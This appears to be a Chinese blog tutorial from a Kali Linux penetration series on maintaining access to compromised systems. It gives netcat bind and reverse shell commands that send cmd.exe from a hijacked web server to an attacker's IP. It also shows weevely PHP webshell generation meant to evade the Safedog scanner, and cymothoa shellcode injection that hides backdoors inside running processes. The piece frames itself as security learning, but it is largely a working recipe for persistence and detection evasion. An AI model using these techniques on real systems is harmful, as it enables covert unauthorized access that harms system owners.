首页 » 系统攻防 » Linux » 浏览内容

Kali Linux渗透基础知识整理(四):维持访问

1475 0 发表评论

维持访问

在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限。使用木马程序、后门程序和rootkit来达到这一目的。维持访问是一种艺术形式,思想比渗透更加重要。

  • Netcat
  • Cryptcat
  • weevely
  • cymothoa

Netcat

NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat小巧且功能强大,可谓是居家旅行出门必备的“瑞士军刀”。

一般我们使用netcat做的最多的事情为以下三种:

  • 1、  扫描指定IP端口情况
  • 2、  端口转发数据(重点)
  • 3、  提交自定义数据包

实例演示:NC反弹CMDShell

常用语法简单介绍

  • #连接到某处
  • netcat [-options] hostname port[s] [ports] …
  •  #监听端口等待连接
  • netcat -l -p port [-options] [hostname] [port]
  • #Options
  • -u                    UDP 模式
  • -v                    显示详细信息 [-vv更详细信息]
  • -w secs          连接超时设置
  • -z                    I/O 模式 [扫描时使用]
  • -l                     监听入站信息
  • -p port           打开本地端口
  • -n                   以数字形式表示的IP地址
  • -t                    以TELNET的形式应答入站请求
  • -e prog          程序重定向

扫描常用

  • 【命令】netcat -v ip port
  • 【解释】扫瞄某 IP 的某个端口,返回端口信息详细输出。
  • 【命令】netcat -v -z ip port-port
  • 【解释】扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。
  • 【命令】netcat -v -z -u ip  port-port
  • 【解释】扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。
  • 【命令】netcat -nvv -w2 -z ip port-port
  • 【解释】扫锚某IP的端口段,连接超时时间为2秒。

流量处理

  • 【命令】netcat -l -p 80
  • 【解释】开启本机的 TCP 80 端口并监听次端口的上传输的数据。
  • 【命令】netcat -l -v -p 80
  • 【解释】开启本机的 TCP 80 端口并将监听到的信息输出到当前 CMD 窗口。
  • 【命令】netcat -l -p 80 > log.dat
  • 【解释】开启本机的 TCP 80 端口并将监听到的信息输出到 log.dat 日志文件里。
  • 【命令】netcat -nvv 192.168.1.1 80
  • 【解释】连接到192.168.1.101主机的 80端口

正向连接

  • 【远程运行】netcat  -l  -p  1234  -t  -e  %windir%\system32\cmd.exe
  •  【本地运行】netcat   -nvv  192.168.1.1  1234

采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.1)上执行上述命令即为绑定远程主机的 CMD 到1234 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell 。

反向连接

  • 【本地运行】netcat -l –vv -p 1234
  • 【远程运行】netcat -t -e %windir%\system32\cmd.exe 192.168.1.2 1234

采用反向连接方式,先在本地主机运行 nc -l –vv -p 1234 开启1234 端口并监听等待远程主机连接;在远程主机上运行 nc -t -e cmd.exe 192.168.1.2 1234 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.2(即本机) 端口号为1234 的主机上,连接成功后 IP 地址为 192.168.1.2 的主机会得到一个CMDShell。

NC反弹CMDShell

在Web渗透中,有时候拿到了webshell,我们经常会执行很多命令进行提权等操作,但当我们要尝试很多命令的时候,使用webshell执行cmd往往没有本地执行方便,Web程序不稳定,容易崩溃。因此可以借助Webshell通过NC反弹Cmdshell。

#例如已经得到一只webshell如图

1

小结

简单看了下,得知:

  • 1、操作系统版本为Win NT 6.1.7601,那么要么Win7要么Win Server 2008,既然是服务器,后者可能性更大)
  • 2、目录访问权限:除了C盘不能访问,D、E、F、H盘都能跨目录访问,说明权限还是比较大的,另外很多文件都具有r/w权限
  • 3、通过多点Ping测试返回结果,可以认为该网站没有使用CDN加速,即能通过域名轻松得到真实IP

关于判断CDN、找出CDN下真实IP的方法,有兴趣的话也许可以看下这篇文章:绕过CDN查看真实IP

2

通过以上信息,那么思路可以如下:步骤简单演示

  • 1、上传cmd.exe、nc.exe到D盘根目录(上传到权限大的目录)
  • 2、通过NC建立反弹得到CMDShell(一般选一个看起来“正常”点的端口,奇奇怪怪的端口防火墙容易拦截)

3

  • 【本地】netcat -l –vv -p 23
  • 【Shell上】nc.exe -t -e cmd.exe X.X.X.X 23
  •   其中X.X.X.X为本机公网IP,实际测试需确保外网能访问本机,必要时需端口映射等。
  • 【Shell上执行】nc.exe -t -e cmd.exe X.X.X.X 23

4

【本地】成功得到CMDShell,即在本地可直接执行CMD

5

Cryptcat

Netcat隧道加密之Cryptcat,正所谓菜刀砍狗头,渗透信猫流,狗和猫常常是相互的,比如安全狗。cryptcat与netcat最主要区别就是,通过隧道在传输数据时,它传输的数据经过了加密。

Cryptcat是经典网络工具netcat的加密版,使用twofish算法加密,其密钥协商过程基于发送、接收双发共享的一个password。Cryptcat用法基本和NC相近,不过多介绍了。

6

weevely

weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身,仅用于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php)。使用weevely生成的shell免杀能力很强,并使用加密连接,往往能轻松突破防火墙拦截。

概要:常用语法简单介绍

实例演示:一句话木马突破“安全狗”

输入weevely generate可查看帮助

7

#从提示中可以看到

  • 连接一句话木马:    weevely <URL> <password> [cmd]
  • 加载session文件      weevely session <path> [cmd]
  • 生成后门代理           weevely generate <password> <path>

实验环境:

  • OS:Windows Server 2008  R2
  • Server :Apache 2.4
  • Firewall:安全狗(Apache版)V3.1正式版

8

1. 将安全狗的网马库更新到最新后,再进行常规扫描,扫描结果为“未发现网页木马及其他危险文件”,即一切正常

9

2. 手动在网站目录下随便添加一句话木马,命名为test.php,结果显然会被杀

10

#通过weevely生成一句话木马

weevely generate test /root/Desktop/test.php

#test为密码,/root/Desktop/test.php输出路径)

11

3. 将生成的木马放到网站根目录,替换原来的test.php

4. 将生成的木马放到网站根目录,替换原来的test.php,并重新扫描

12

5. 通过weevely连接一句话木马,可直接执行CMD

13

cymothoa

Cymothoa 是一款可以将 shellcode 注入到现有进程的(即插进程)后门工具。借助这种注入手段,它能够把shellcode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将shellcode注入到其他进程,还有另外一项优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,那么它就不能发现(插进程)后门程序的进程。

很赞的点是注入到的进程,只要有权限就行,然后反弹的也就是进程相应的权限(并不需要root那样),当然进程重启或者挂了也就没了.当然动作也是很明显的。

实例演示:利用Cymothoa注入后门

1. 首先可先查看程序PID(*nix系统  ps ,windows系统  tasklist)

14

2. 在使用Cymothoa时,须通过-p 选项指定目标进程的PID,并通过-s选项指定Shellcode的编号。例如对bash进程进行注入。

查看:

比如对bash进行注入

15

3. 注入成功后如上图,其中  -y 代表开放后门端口

16

4.可以看到注入成功后开了rpc。。

*本文原创作者:sysorem

标签:

评论 共 0 条 (RSS 2.0) 发表 评论

  1. 暂无评论,快来抢沙发!

发表评论

  •   没有头像?

关注我们,实时联系

通知公告">更多...

♥如果喜欢本站可以直接点击订阅博客
♥点击此加入晓残博客会员群加入扣群
♥本站免费提供加密解密服务点击解密
♥伙伴们喜欢本站赏个好评呗

关注微信

有偿服务

博客统计

  • 日志总数:477 篇
  • 评论数目:1480 条
  • 标签总数:40 个
  • 页面总数:8 个
  • 分类总数:17 个
  • 友链总数:25 个
  • 建站日期:2011-02-13
  • 运行天数:2125 天
  • 最后更新:2016-12-6

订阅博客